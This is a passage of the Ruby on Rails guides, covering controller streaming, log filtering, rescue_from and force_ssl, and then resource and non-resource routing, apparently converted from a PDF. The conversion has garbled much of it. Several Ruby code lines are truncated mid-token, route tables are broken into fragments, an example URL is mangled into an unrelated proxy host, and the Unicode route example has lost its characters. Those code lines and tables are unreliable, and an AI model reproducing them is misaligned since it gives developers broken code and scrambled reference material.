In order for this example to work, you have to add the PDF MIME type to
Rails. This can be done by adding the following line to the file
config/initializers/mime_types.rb:
Mime::Type.register "application/pdf", :pdf

Configuration files are not reloaded on each request, so you have to restart
the server in order for their changes to take effect.
Now the user can request to get a PDF version of a client just by adding
".pdf" to the URL:
GET /clients/1.pdf

12.3 Live Streaming of Arbitrary Data

Rails allows you to stream more than just files. In fact, you can stream
anything you would like in a response object. The
ActionController::Live module allows you to create a persistent
connection with a browser. Using this module, you will be able to send
arbitrary data to the browser at specific points in time.
12.3.1 Incorporating Live Streaming

Including ActionController::Live inside of your controller class will

provide all actions inside of the controller the ability to stream data. You
can mix in the module like so:
class MyController < ActionController::Base
include ActionController::Live
def stream
response.headers['Content-Type'] = 'text/event-stream'
100.times {
response.stream.write "hello world\n"
sleep 1
}
ensure
response.stream.close
end
end

The above code will keep a persistent connection with the browser and
send 100 messages of "hello world\n", each one second apart.
There are a couple of things to notice in the above example. We need to
make sure to close the response stream. Forgetting to close the stream will
leave the socket open forever. We also have to set the content type to
text/event-stream before we write to the response stream. This is
because headers cannot be written after the response has been committed

(when response.committed? returns a truthy value), which occurs when

you write or commit the response stream.
12.3.2 Example Usage

Let's suppose that you were making a Karaoke machine and a user wants
to get the lyrics for a particular song. Each Song has a particular number of
lines and each line takes time num_beats to finish singing.
If we wanted to return the lyrics in Karaoke fashion (only sending the line
when the singer has finished the previous line), then we could use
ActionController::Live as follows:
class LyricsController < ActionController::Base
include ActionController::Live
def show
response.headers['Content-Type'] = 'text/event-stream'
song = Song.find(params[:id])
song.each do |line|
response.stream.write line.lyrics
sleep line.num_beats
end
ensure
response.stream.close
end
end

The above code sends the next line only after the singer has completed the
previous line.
12.3.3 Streaming Considerations

Streaming arbitrary data is an extremely powerful tool. As shown in the

previous examples, you can choose when and what to send across a
response stream. However, you should also note the following things:

Each response stream creates a new thread and copies over the thread
local variables from the original thread. Having too many thread local
variables can negatively impact performance. Similarly, a large
number of threads can also hinder performance.
Failing to close the response stream will leave the corresponding
socket open forever. Make sure to call close whenever you are using
a response stream.
WEBrick servers buffer all responses, and so including
ActionController::Live will not work. You must use a web server
which does not automatically buffer responses.

13 Log Filtering
Rails keeps a log file for each environment in the log folder. These are
extremely useful when debugging what's actually going on in your
application, but in a live application you may not want every bit of
information to be stored in the log file.
13.1 Parameters Filtering
You can filter out sensitive request parameters from your log files by
appending them to config.filter_parameters in the application
configuration. These parameters will be marked [FILTERED] in the log.
config.filter_parameters << :password

Provided parameters will be filtered out by partial matching regular

expression. Rails adds default :password in the appropriate initializer
(initializers/filter_parameter_logging.rb) and cares about typical
application parameters password and password_confirmation.
13.2 Redirects Filtering
Sometimes it's desirable to filter out from log files some sensitive locations
your application is redirecting to. You can do that by using the
config.filter_redirect configuration option:
config.filter_redirect << 's3.amazonaws.com'

You can set it to a String, a Regexp, or an array of both.

config.filter_redirect.concat ['s3.amazonaws.com', /private_path

Matching URLs will be marked as '[FILTERED]'.

14 Rescue
Most likely your application is going to contain bugs or otherwise throw
an exception that needs to be handled. For example, if the user follows a
link to a resource that no longer exists in the database, Active Record will
throw the ActiveRecord::RecordNotFound exception.
Rails default exception handling displays a "500 Server Error" message for
all exceptions. If the request was made locally, a nice traceback and some
added information gets displayed so you can figure out what went wrong
and deal with it. If the request was remote Rails will just display a simple
"500 Server Error" message to the user, or a "404 Not Found" if there was
a routing error or a record could not be found. Sometimes you might want
to customize how these errors are caught and how they're displayed to the
user. There are several levels of exception handling available in a Rails
application:
14.1 The Default 500 and 404 Templates
By default a production application will render either a 404 or a 500 error
message, in the development environment all unhandled exceptions are
raised. These messages are contained in static HTML files in the public
folder, in 404.html and 500.html respectively. You can customize these
files to add some extra information and style, but remember that they are
static HTML; i.e. you can't use ERB, SCSS, CoffeeScript, or layouts for
them.
14.2 rescue_from
If you want to do something a bit more elaborate when catching errors,
you can use rescue_from, which handles exceptions of a certain type (or
multiple types) in an entire controller and its subclasses.
When an exception occurs which is caught by a rescue_from directive, the

exception object is passed to the handler. The handler can be a method or a

Proc object passed to the :with option. You can also use a block directly
instead of an explicit Proc object.
Here's how you can use rescue_from to intercept all
ActiveRecord::RecordNotFound errors and do something with them.

class ApplicationController < ActionController::Base

rescue_from ActiveRecord::RecordNotFound, with: :record_not_fo
private
def record_not_found
render plain: "404 Not Found", status: 404
end
end

Of course, this example is anything but elaborate and doesn't improve on

the default exception handling at all, but once you can catch all those
exceptions you're free to do whatever you want with them. For example,
you could create custom exception classes that will be thrown when a user
doesn't have access to a certain section of your application:
class ApplicationController < ActionController::Base
rescue_from User::NotAuthorized, with: :user_not_authorized
private
def user_not_authorized
flash[:error] = "You don't have access to this section."
redirect_back(fallback_location: root_path)
end
end

class ClientsController < ApplicationController

# Check that the user has the right authorization to access cl
before_action :check_authorization

# Note how the actions don't have to worry about all the auth

def edit
@client = Client.find(params[:id])
end
private
# If the user is not authorized, just throw the exception.
def check_authorization
raise User::NotAuthorized unless current_user.admin?
end
end

You shouldn't do rescue_from Exception or rescue_from

StandardError unless you have a particular reason as it will cause serious
side-effects (e.g. you won't be able to see exception details and tracebacks
during development).
When running in the production environment, all
ActiveRecord::RecordNotFound errors render the 404 error page. Unless
you need a custom behavior you don't need to handle this.
Certain exceptions are only rescuable from the ApplicationController
class, as they are raised before the controller gets initialized and the action
gets executed.

15 Force HTTPS protocol

Sometime you might want to force a particular controller to only be
accessible via an HTTPS protocol for security reasons. You can use the
force_ssl method in your controller to enforce that:
class DinnerController
force_ssl
end

Just like the filter, you could also pass :only and :except to enforce the
secure connection only to specific actions:
class DinnerController
force_ssl only: :cheeseburger
# or
force_ssl except: :cheeseburger
end

Please note that if you find yourself adding force_ssl to many controllers,
you may want to force the whole application to use HTTPS instead. In that
case, you can set the config.force_ssl in your environment file.

Rails Routing from the Outside In

...

1 The Purpose of the Rails Router

The Rails router recognizes URLs and dispatches them to a controller's
action. It can also generate paths and URLs, avoiding the need to hardcode
strings in your views.
1.1 Connecting URLs to Code
When your Rails application receives an incoming request for:
GET /patients/17

it asks the router to match it to a controller action. If the first matching

route is:
get '/patients/:id', to: 'patients#show'

the request is dispatched to the patients controller's show action with {

id: '17' } in params.
1.2 Generating Paths and URLs from Code
You can also generate paths and URLs. If the route above is modified to
be:
get '/patients/:id', to: 'patients#show', as: 'patient'

and your application contains this code in the controller:

@patient = Patient.find(17)

and this in the corresponding view:

<%= link_to 'Patient Record', patient_path(@patient) %>

then the router will generate the path /patients/17. This reduces the
brittleness of your view and makes your code easier to understand. Note
that the id does not need to be specified in the route helper.

2 Resource Routing: the Rails Default

Resource routing allows you to quickly declare all of the common routes
for a given resourceful controller. Instead of declaring separate routes for
your index, show, new, edit, create, update and destroy actions, a
resourceful route declares them in a single line of code.
2.1 Resources on the Web
Browsers request pages from Rails by making a request for a URL using a
specific HTTP method, such as GET, POST, PATCH, PUT and DELETE. Each
method is a request to perform an operation on the resource. A resource
route maps a number of related requests to actions in a single controller.
When your Rails application receives an incoming request for:
DELETE /photos/17

it asks the router to map it to a controller action. If the first matching route
is:
resources :photos

Rails would dispatch that request to the destroy action on the photos
controller with { id: '17' } in params.
2.2 CRUD, Verbs, and Actions
In Rails, a resourceful route provides a mapping between HTTP verbs and
URLs to controller actions. By convention, each action also maps to a
specific CRUD operation in a database. A single entry in the routing file,
such as:

resources :photos

creates seven different routes in your application, all mapping to the

Photos controller:
HTTP Verb

Path

Controller#Action

GET

/photos

photos#index

GET

/photos/new

photos#new

POST
GET

/photos
/photos/:id

photos#create
photos#show

GET

/photos/:id/edit photos#edit

PATCH/PUT /photos/:id
DELETE
/photos/:id

photos#update
photos#destroy

Used for
display a list of all
photos
return an HTML form
for creating a new photo
create a new photo
display a specific photo
return an HTML form
for editing a photo
update a specific photo
delete a specific photo

Because the router uses the HTTP verb and URL to match inbound
requests, four URLs map to seven different actions.
Rails routes are matched in the order they are specified, so if you have a
resources :photos above a get 'photos/poll' the show action's route
for the resources line will be matched before the get line. To fix this,
move the get line above the resources line so that it is matched first.
2.3 Path and URL Helpers
Creating a resourceful route will also expose a number of helpers to the
controllers in your application. In the case of resources :photos:
photos_path returns /photos
new_photo_path returns /photos/new

edit_photo_path(:id) returns /photos/:id/edit (for instance,

edit_photo_path(10) returns /photos/10/edit)
photo_path(:id) returns /photos/:id (for instance,
photo_path(10) returns /photos/10)

Each of these helpers has a corresponding _url helper (such as

photos_url) which returns the same path prefixed with the current host,
port and path prefix.
2.4 Defining Multiple Resources at the Same Time
If you need to create routes for more than one resource, you can save a bit
of typing by defining them all with a single call to resources:
resources :photos, :books, :videos

This works exactly the same as:

resources :photos
resources :books
resources :videos

2.5 Singular Resources

Sometimes, you have a resource that clients always look up without
referencing an ID. For example, you would like /profile to always show
the profile of the currently logged in user. In this case, you can use a
singular resource to map /profile (rather than /profile/:id) to the show
action:
get 'profile', to: 'users#show'

Passing a String to get will expect a controller#action format, while

passing a Symbol will map directly to an action but you must also specify
the controller: to use:
get 'profile', to: :show, controller: 'users'

This resourceful route:

resource :geocoder

creates six different routes in your application, all mapping to the

Geocoders controller:
HTTP Verb

Path

Controller#Action

Used for
return an HTML form
GET
/geocoder/new geocoders#new
for creating the
geocoder
POST
/geocoder
geocoders#create create the new geocoder
display the one and only
GET
/geocoder
geocoders#show
geocoder resource
return an HTML form
GET
/geocoder/edit geocoders#edit
for editing the geocoder
update the one and only
PATCH/PUT /geocoder
geocoders#update
geocoder resource
delete the geocoder
DELETE
/geocoder
geocoders#destroy
resource
Because you might want to use the same controller for a singular route
(/account) and a plural route (/accounts/45), singular resources map to
plural controllers. So that, for example, resource :photo and resources
:photos creates both singular and plural routes that map to the same
controller (PhotosController).

A singular resourceful route generates these helpers:

new_geocoder_path returns /geocoder/new
edit_geocoder_path returns /geocoder/edit
geocoder_path returns /geocoder

As with plural resources, the same helpers ending in _url will also include
the host, port and path prefix.
A long-standing bug prevents form_for from working automatically with
singular resources. As a workaround, specify the URL for the form
directly, like so:
form_for @geocoder, url: geocoder_path do |f|
# snippet for brevity

2.6 Controller Namespaces and Routing

You may wish to organize groups of controllers under a namespace. Most
commonly, you might group a number of administrative controllers under
an Admin:: namespace. You would place these controllers under the
app/controllers/admin directory, and you can group them together in
your router:
namespace :admin do
resources :articles, :comments
end

This will create a number of routes for each of the articles and comments
controller. For Admin::ArticlesController, Rails will create:
HTTP Verb
Path
GET
/admin/articles

Controller#Action
Named H
admin/articles#index admin_articles_

GET
/admin/articles/new admin/articles#new
new_admin_art
POST
/admin/articles
admin/articles#create admin_articles_
GET
/admin/articles/:id
admin/articles#show admin_article_
GET
/admin/articles/:id/edit admin/articles#edit
edit_admin_art
PATCH/PUT /admin/articles/:id
admin/articles#update admin_article_
DELETE
/admin/articles/:id
admin/articles#destroy admin_article_
If you want to route /articles (without the prefix /admin) to
Admin::ArticlesController, you could use:
scope module: 'admin' do
resources :articles, :comments
end

or, for a single case:

resources :articles, module: 'admin'

If you want to route /admin/articles to ArticlesController (without

the Admin:: module prefix), you could use:
scope '/admin' do
resources :articles, :comments
end

or, for a single case:

resources :articles, path: '/admin/articles'

In each of these cases, the named routes remain the same as if you did not
use scope. In the last case, the following paths map to
ArticlesController:

HTTP Verb
Path
Controller#Action Named Helper
GET
/admin/articles
articles#index
articles_path
GET
/admin/articles/new articles#new
new_article_path
POST
/admin/articles
articles#create
articles_path
GET
/admin/articles/:id
articles#show
article_path(:id)
GET
/admin/articles/:id/edit articles#edit
edit_article_path(:
PATCH/PUT /admin/articles/:id
articles#update
article_path(:id)
DELETE
/admin/articles/:id
articles#destroy
article_path(:id)
If you need to use a different controller namespace inside a namespace
block you can specify an absolute controller path, e.g: get '/foo' =>
'/foo#index'.
2.7 Nested Resources
It's common to have resources that are logically children of other
resources. For example, suppose your application includes these models:
class Magazine < ApplicationRecord
has_many :ads
end
class Ad < ApplicationRecord
belongs_to :magazine
end

Nested routes allow you to capture this relationship in your routing. In this
case, you could include this route declaration:
resources :magazines do
resources :ads
end

In addition to the routes for magazines, this declaration will also route ads
to an AdsController. The ad URLs require a magazine:
HTTP Verb

Path

GET

/magazines/:magazine_id/ads

GET

/magazines/:magazine_id/ads/new

POST

/magazines/:magazine_id/ads

GET

/magazines/:magazine_id/ads/:id

Controller#Action Use
disp
list
ads#index
ads
spec
mag
retu
HTM
form
crea
ads#new
new
belo
to a
spec
mag
crea
new
belo
ads#create
to a
spec
mag
disp
spec
ad
ads#show
belo
to a
spec
mag
retu
HTM

GET

/magazines/:magazine_id/ads/:id/edit ads#edit

PATCH/PUT /magazines/:magazine_id/ads/:id

ads#update

DELETE

ads#destroy

/magazines/:magazine_id/ads/:id

form
edit
ad
belo
to a
spec
mag
upd
spec
ad
belo
to a
spec
mag
dele
spec
ad
belo
to a
spec
mag

This will also create routing helpers such as magazine_ads_url and

edit_magazine_ad_path. These helpers take an instance of Magazine as
the first parameter (magazine_ads_url(@magazine)).
2.7.1 Limits to Nesting

You can nest resources within other nested resources if you like. For
example:
resources :publishers do
resources :magazines do
resources :photos

end
end

Deeply-nested resources quickly become cumbersome. In this case, for

example, the application would recognize paths such as:
/publishers/1/magazines/2/photos/3

The corresponding route helper would be

publisher_magazine_photo_url, requiring you to specify objects at all
three levels. Indeed, this situation is confusing enough that a popular
article by Jamis Buck proposes a rule of thumb for good Rails design:
Resources should never be nested more than 1 level deep.
2.7.2 Shallow Nesting

One way to avoid deep nesting (as recommended above) is to generate the
collection actions scoped under the parent, so as to get a sense of the
hierarchy, but to not nest the member actions. In other words, to only build
routes with the minimal amount of information to uniquely identify the
resource, like this:
resources :articles do
resources :comments, only: [:index, :new, :create]
end
resources :comments, only: [:show, :edit, :update, :destroy]

This idea strikes a balance between descriptive routes and deep nesting.
There exists shorthand syntax to achieve just that, via the :shallow option:
resources :articles do
resources :comments, shallow: true
end

This will generate the exact same routes as the first example. You can also
specify the :shallow option in the parent resource, in which case all of the
nested resources will be shallow:
resources :articles, shallow: true do
resources :comments
resources :quotes
resources :drafts
end

The shallow method of the DSL creates a scope inside of which every
nesting is shallow. This generates the same routes as the previous example:
shallow do
resources :articles do
resources :comments
resources :quotes
resources :drafts
end
end

There exist two options for scope to customize shallow routes.

:shallow_path prefixes member paths with the specified parameter:
scope shallow_path: "sekret" do
resources :articles do
resources :comments, shallow: true
end
end

The comments resource here will have the following routes generated for
it:
HTTP Verb
Path
GET
/articles/:article_id/comments(.:format)

Controller#Acti
comments#index

POST
/articles/:article_id/comments(.:format)
comments#create
GET
/articles/:article_id/comments/new(.:format) comments#new
GET
/sekret/comments/:id/edit(.:format)
comments#edit
GET
/sekret/comments/:id(.:format)
comments#show
PATCH/PUT /sekret/comments/:id(.:format)
comments#updat
DELETE
/sekret/comments/:id(.:format)
comments#destro
The :shallow_prefix option adds the specified parameter to the named
helpers:
scope shallow_prefix: "sekret" do
resources :articles do
resources :comments, shallow: true
end
end

The comments resource here will have the following routes generated for
it:

HTTP Verb
Path
Controller#Acti
GET
/articles/:article_id/comments(.:format)
comments#index
POST
/articles/:article_id/comments(.:format)
comments#create
GET
/articles/:article_id/comments/new(.:format) comments#new
GET
/comments/:id/edit(.:format)
comments#edit
GET
/comments/:id(.:format)
comments#show
PATCH/PUT /comments/:id(.:format)
comments#updat
DELETE
/comments/:id(.:format)
comments#destro
2.8 Routing concerns
Routing concerns allow you to declare common routes that can be reused
inside other resources and routes. To define a concern:

concern :commentable do
resources :comments
end
concern :image_attachable do
resources :images, only: :index
end

These concerns can be used in resources to avoid code duplication and

share behavior across routes:
resources :messages, concerns: :commentable

resources :articles, concerns: [:commentable, :image_attachable]

The above is equivalent to:

resources :messages do
resources :comments
end
resources :articles do
resources :comments
resources :images, only: :index
end

Also you can use them in any place that you want inside the routes, for
example in a scope or namespace call:
namespace :articles do
concerns :commentable
end

2.9 Creating Paths and URLs From Objects

In addition to using the routing helpers, Rails can also create paths and

URLs from an array of parameters. For example, suppose you have this set
of routes:
resources :magazines do
resources :ads
end

When using magazine_ad_path, you can pass in instances of Magazine

and Ad instead of the numeric IDs:
<%= link_to 'Ad details', magazine_ad_path(@magazine, @ad) %>

You can also use url_for with a set of objects, and Rails will
automatically determine which route you want:
<%= link_to 'Ad details', url_for([@magazine, @ad]) %>

In this case, Rails will see that @magazine is a Magazine and @ad is an Ad
and will therefore use the magazine_ad_path helper. In helpers like
link_to, you can specify just the object in place of the full url_for call:
<%= link_to 'Ad details', [@magazine, @ad] %>

If you wanted to link to just a magazine:

<%= link_to 'Magazine details', @magazine %>

For other actions, you just need to insert the action name as the first
element of the array:
<%= link_to 'Edit Ad', [:edit, @magazine, @ad] %>

This allows you to treat instances of your models as URLs, and is a key
advantage to using the resourceful style.
2.10 Adding More RESTful Actions
You are not limited to the seven routes that RESTful routing creates by
default. If you like, you may add additional routes that apply to the
collection or individual members of the collection.
2.10.1 Adding Member Routes

To add a member route, just add a member block into the resource block:
resources :photos do
member do
get 'preview'
end
end

This will recognize /photos/1/preview with GET, and route to the

preview action of PhotosController, with the resource id value passed in
params[:id]. It will also create the preview_photo_url and
preview_photo_path helpers.
Within the block of member routes, each route name specifies the HTTP
verb will be recognized. You can use get, patch, put, post, or delete
here . If you don't have multiple member routes, you can also pass :on to a
route, eliminating the block:
resources :photos do
get 'preview', on: :member
end

You can leave out the :on option, this will create the same member route
except that the resource id value will be available in params[:photo_id]

instead of params[:id].
2.10.2 Adding Collection Routes

To add a route to the collection:

resources :photos do
collection do
get 'search'
end
end

This will enable Rails to recognize paths such as /photos/search with

GET, and route to the search action of PhotosController. It will also
create the search_photos_url and search_photos_path route helpers.
Just as with member routes, you can pass :on to a route:
resources :photos do
get 'search', on: :collection
end
2.10.3 Adding Routes for Additional New Actions

To add an alternate new action using the :on shortcut:

resources :comments do
get 'preview', on: :new
end

This will enable Rails to recognize paths such as /comments/new/preview

with GET, and route to the preview action of CommentsController. It will
also create the preview_new_comment_url and
preview_new_comment_path route helpers.

If you find yourself adding many extra actions to a resourceful route, it's
time to stop and ask yourself whether you're disguising the presence of
another resource.

3 Non-Resourceful Routes
In addition to resource routing, Rails has powerful support for routing
arbitrary URLs to actions. Here, you don't get groups of routes
automatically generated by resourceful routing. Instead, you set up each
route within your application separately.
While you should usually use resourceful routing, there are still many
places where the simpler routing is more appropriate. There's no need to
try to shoehorn every last piece of your application into a resourceful
framework if that's not a good fit.
In particular, simple routing makes it very easy to map legacy URLs to
new Rails actions.
3.1 Bound Parameters
When you set up a regular route, you supply a series of symbols that Rails
maps to parts of an incoming HTTP request. Two of these symbols are
special: :controller maps to the name of a controller in your application,
and :action maps to the name of an action within that controller. For
example, consider this route:
get ':controller(/:action(/:id))'

If an incoming request of /photos/show/1 is processed by this route

(because it hasn't matched any previous route in the file), then the result
will be to invoke the show action of the PhotosController, and to make
the final parameter "1" available as params[:id]. This route will also
route the incoming request of /photos to PhotosController#index, since
:action and :id are optional parameters, denoted by parentheses.
3.2 Dynamic Segments

You can set up as many dynamic segments within a regular route as you
like. Anything other than :controller or :action will be available to the
action as part of params. If you set up this route:
get ':controller/:action/:id/:user_id'

An incoming path of /photos/show/1/2 will be dispatched to the show

action of the PhotosController. params[:id] will be "1", and
params[:user_id] will be "2".
You can't use :namespace or :module with a :controller path segment.
If you need to do this then use a constraint on :controller that matches the
namespace you require. e.g:
get ':controller(/:action(/:id))', controller: /admin\/[^\/]+/

By default, dynamic segments don't accept dots - this is because the dot is
used as a separator for formatted routes. If you need to use a dot within a
dynamic segment, add a constraint that overrides this for example, id:
/[^\/]+/ allows anything except a slash.
3.3 Static Segments
You can specify static segments when creating a route by not prepending a
colon to a fragment:
get ':controller/:action/:id/with_user/:user_id'

This route would respond to paths such as /photos/show/1/with_user/2.

In this case, params would be { controller: 'photos', action:
'show', id: '1', user_id: '2' }.
3.4 The Query String

The params will also include any parameters from the query string. For
example, with this route:
get ':controller/:action/:id'

An incoming path of /photos/show/1?user_id=2 will be dispatched to the

show action of the Photos controller. params will be { controller:
'photos', action: 'show', id: '1', user_id: '2' }.
3.5 Defining Defaults
You do not need to explicitly use the :controller and :action symbols
within a route. You can supply them as defaults:
get 'photos/:id', to: 'photos#show'

With this route, Rails will match an incoming path of /photos/12 to the
show action of PhotosController.
You can also define other defaults in a route by supplying a hash for the
:defaults option. This even applies to parameters that you do not specify
as dynamic segments. For example:

get 'photos/:id', to: 'photos#show', defaults: { format: 'jpg' }

Rails would match photos/12 to the show action of PhotosController,

and set params[:format] to "jpg".
You cannot override defaults via query parameters - this is for security
reasons. The only defaults that can be overridden are dynamic segments
via substitution in the URL path.
3.6 Naming Routes

You can specify a name for any route using the :as option:
get 'exit', to: 'sessions#destroy', as: :logout

This will create logout_path and logout_url as named helpers in your

application. Calling logout_path will return /exit
You can also use this to override routing methods defined by resources,
like this:
get ':username', to: 'users#show', as: :user

This will define a user_path method that will be available in controllers,

helpers and views that will go to a route such as /bob. Inside the show
action of UsersController, params[:username] will contain the
username for the user. Change :username in the route definition if you do
not want your parameter name to be :username.
3.7 HTTP Verb Constraints
In general, you should use the get, post, put, patch and delete methods
to constrain a route to a particular verb. You can use the match method
with the :via option to match multiple verbs at once:
match 'photos', to: 'photos#show', via: [:get, :post]

You can match all verbs to a particular route using via: :all:
match 'photos', to: 'photos#show', via: :all

Routing both GET and POST requests to a single action has security
implications. In general, you should avoid routing all verbs to an action

unless you have a good reason to.

'GET' in Rails won't check for CSRF token. You should never write to the
database from 'GET' requests, for more information see the security guide
on CSRF countermeasures.
3.8 Segment Constraints
You can use the :constraints option to enforce a format for a dynamic
segment:

get 'photos/:id', to: 'photos#show', constraints: { id: /[A-Z]\d

This route would match paths such as /photos/A12345, but not

/photos/893. You can more succinctly express the same route this way:
get 'photos/:id', to: 'photos#show', id: /[A-Z]\d{5}/

:constraints takes regular expressions with the restriction that regexp

anchors can't be used. For example, the following route will not work:
get '/:id', to: 'articles#show', constraints: { id: /^\d/ }

However, note that you don't need to use anchors because all routes are
anchored at the start.
For example, the following routes would allow for articles with
to_param values like 1-hello-world that always begin with a number and
users with to_param values like david that never begin with a number to
share the root namespace:
get '/:id', to: 'articles#show', constraints: { id: /\d.+/ }
get '/:username', to: 'users#show'

3.9 Request-Based Constraints

You can also constrain a route based on any method on the Request object
that returns a String.
You specify a request-based constraint the same way that you specify a
segment constraint:

get 'photos', to: 'photos#index', constraints: { subdomain: 'adm

You can also specify constraints in a block form:

namespace :admin do
constraints subdomain: 'admin' do
resources :photos
end
end

Request constraints work by calling a method on the Request object with

the same name as the hash key and then compare the return value with the
hash value. Therefore, constraint values should match the corresponding
Request object method return type. For example: constraints: {
subdomain: 'api' } will match an api subdomain as expected, however
using a symbol constraints: { subdomain: :api } will not, because
request.subdomain returns 'api' as a String.
There is an exception for the format constraint: while it's a method on the
Request object, it's also an implicit optional parameter on every path.
Segment constraints take precedence and the format constraint is only
applied as such when enforced through a hash. For example, get 'foo',
constraints: { format: 'json' } will match GET /foo because the
format is optional by default. However, you can use a lambda like in get
'foo', constraints: lambda { |req| req.format == :json } and the
route will only match explicit JSON requests.

3.10 Advanced Constraints

If you have a more advanced constraint, you can provide an object that
responds to matches? that Rails should use. Let's say you wanted to route
all users on a blacklist to the BlacklistController. You could do:
class BlacklistConstraint
def initialize
@ips = Blacklist.retrieve_ips
end
def matches?(request)
@ips.include?(request.remote_ip)
end
end
Rails.application.routes.draw do
get '*path', to: 'blacklist#index',
constraints: BlacklistConstraint.new
end

You can also specify constraints as a lambda:

Rails.application.routes.draw do
get '*path', to: 'blacklist#index',
constraints: lambda { |request| Blacklist.retrieve_ips.inclu
end

Both the matches? method and the lambda gets the request object as an
argument.
3.11 Route Globbing and Wildcard Segments
Route globbing is a way to specify that a particular parameter should be
matched to all the remaining parts of a route. For example:
get 'photos/*other', to: 'photos#unknown'

This route would match photos/12 or /photos/long/path/to/12, setting

params[:other] to "12" or "long/path/to/12". The fragments prefixed
with a star are called "wildcard segments".
Wildcard segments can occur anywhere in a route. For example:
get 'books/*section/:title', to: 'books#show'

would match books/some/section/last-words-a-memoir with

params[:section] equals 'some/section', and params[:title] equals
'last-words-a-memoir'.
Technically, a route can have even more than one wildcard segment. The
matcher assigns segments to parameters in an intuitive way. For example:
get '*a/foo/*b', to: 'test#index'

would match zoo/woo/foo/bar/baz with params[:a] equals 'zoo/woo',

and params[:b] equals 'bar/baz'.
By requesting '/foo/bar.json', your params[:pages] will be equal to
'foo/bar' with the request format of JSON. If you want the old 3.0.x
behavior back, you could supply format: false like this:
get '*pages', to: 'pages#show', format: false

If you want to make the format segment mandatory, so it cannot be

omitted, you can supply format: true like this:
get '*pages', to: 'pages#show', format: true

3.12 Redirection
You can redirect any path to another path using the redirect helper in
your router:
get '/stories', to: redirect('/articles')

You can also reuse dynamic segments from the match in the path to
redirect to:
get '/stories/:name', to: redirect('/articles/%{name}')

You can also provide a block to redirect, which receives the symbolized
path parameters and the request object:

get '/stories/:name', to: redirect { |path_params, req| "/articl

get '/stories', to: redirect { |path_params, req| "/articles/#{r

Please note that default redirection is a 301 "Moved Permanently" redirect.

Keep in mind that some web browsers or proxy servers will cache this type
of redirect, making the old page inaccessible. You can use the :status
option to change the response status:

get '/stories/:name', to: redirect('/articles/%{name}', status:

In all of these cases, if you don't provide the leading host

(http://www.example.com), Rails will take those details from the current
request.
3.13 Routing to Rack Applications
Instead of a String like 'articles#index', which corresponds to the

index action in the ArticlesController, you can specify any Rack

application as the endpoint for a matcher:

match '/application.js', to: MyRackApp, via: :all

As long as MyRackApp responds to call and returns a [status, headers,

body], the router won't know the difference between the Rack application
and an action. This is an appropriate use of via: :all, as you will want to
allow your Rack application to handle all verbs as it considers appropriate.
For the curious, 'articles#index' actually expands out to
ArticlesController.action(:index), which returns a valid Rack
application.
If you specify a Rack application as the endpoint for a matcher, remember
that the route will be unchanged in the receiving application. With the
following route your Rack application should expect the route to be
'/admin':
match '/admin', to: AdminApp, via: :all

If you would prefer to have your Rack application receive requests at the
root path instead, use mount:
mount AdminApp, at: '/admin'

3.14 Using root

You can specify what Rails should route '/' to with the root method:
root to: 'pages#main'
root 'pages#main' # shortcut for the above

You should put the root route at the top of the file, because it is the most
popular route and should be matched first.
The root route only routes GET requests to the action.
You can also use root inside namespaces and scopes as well. For example:
namespace :admin do
root to: "admin#index"
end
root to: "home#index"

3.15 Unicode character routes

You can specify unicode character routes directly. For example:
get '', to: 'welcome#index'

4 Customizing Resourceful Routes

While the default routes and helpers generated by resources :articles
will usually serve you well, you may want to customize them in some way.
Rails allows you to customize virtually any generic part of the resourceful
helpers.
4.1 Specifying a Controller to Use
The :controller option lets you explicitly specify a controller to use for
the resource. For example:
resources :photos, controller: 'images'

will recognize incoming paths beginning with /photos but route to the
Images controller:
HTTP Verb
Path
Controller#Action Named Helper
GET
/photos
images#index
photos_path
GET
/photos/new images#new
new_photo_path
POST
/photos
images#create
photos_path
GET
/photos/:id
images#show
photo_path(:id)
GET
/photos/:id/edit images#edit
edit_photo_path(:id)
PATCH/PUT /photos/:id
images#update
photo_path(:id)
DELETE
/photos/:id
images#destroy
photo_path(:id)
Use photos_path, new_photo_path, etc. to generate paths for this
resource.
For namespaced controllers you can use the directory notation. For
example:

resources :user_permissions, controller: 'admin/user_permissions

This will route to the Admin::UserPermissions controller.

Only the directory notation is supported. Specifying the controller with
Ruby constant notation (eg. controller: 'Admin::UserPermissions')
can lead to routing problems and results in a warning.
4.2 Specifying Constraints
You can use the :constraints option to specify a required format on the
implicit id. For example:
resources :photos, constraints: { id: /[A-Z][A-Z][0-9]+/ }

This declaration constrains the :id parameter to match the supplied regular
expression. So, in this case, the router would no longer match /photos/1
to this route. Instead, /photos/RR27 would match.
You can specify a single constraint to apply to a number of routes by using
the block form:
constraints(id: /[A-Z][A-Z][0-9]+/) do
resources :photos
resources :accounts
end

Of course, you can use the more advanced constraints available in nonresourceful routes in this context.
By default the :id parameter doesn't accept dots - this is because the dot is
used as a separator for formatted routes. If you need to use a dot within an
:id add a constraint which overrides this - for example id: /[^\/]+/

allows anything except a slash.

4.3 Overriding the Named Helpers
The :as option lets you override the normal naming for the named route
helpers. For example:
resources :photos, as: 'images'

will recognize incoming paths beginning with /photos and route the
requests to PhotosController, but use the value of the :as option to name
the helpers.
HTTP Verb
Path
Controller#Action Named Helper
GET
/photos
photos#index
images_path
GET
/photos/new photos#new
new_image_path
POST
/photos
photos#create
images_path
GET
/photos/:id
photos#show
image_path(:id)
GET
/photos/:id/edit photos#edit
edit_image_path(:id)
PATCH/PUT /photos/:id
photos#update
image_path(:id)
DELETE
/photos/:id
photos#destroy
image_path(:id)
4.4 Overriding the new and edit Segments
The :path_names option lets you override the automatically-generated new
and edit segments in paths:
resources :photos, path_names: { new: 'make', edit: 'change' }

This would cause the routing to recognize paths such as:

/photos/make

/photos/1/change

The actual action names aren't changed by this option. The two paths
shown would still route to the new and edit actions.
If you find yourself wanting to change this option uniformly for all of your
routes, you can use a scope.
scope path_names: { new: 'make' } do
# rest of your routes
end

4.5 Prefixing the Named Route Helpers

You can use the :as option to prefix the named route helpers that Rails
generates for a route. Use this option to prevent name collisions between
routes using a path scope. For example:
scope 'admin' do
resources :photos, as: 'admin_photos'
end
resources :photos

This will provide route helpers such as admin_photos_path,

new_admin_photo_path, etc.
To prefix a group of route helpers, use :as with scope:
scope 'admin', as: 'admin' do
resources :photos, :accounts
end
resources :photos, :accounts

This will generate routes such as admin_photos_path and

admin_accounts_path which map to /admin/photos and
/admin/accounts respectively.
The namespace scope will automatically add :as as well as :module and
:path prefixes.
You can prefix routes with a named parameter also:
scope ':username' do
resources :articles
end

This will provide you with URLs such as /bob/articles/1 and will allow
you to reference the username part of the path as params[:username] in
controllers, helpers and views.
4.6 Restricting the Routes Created
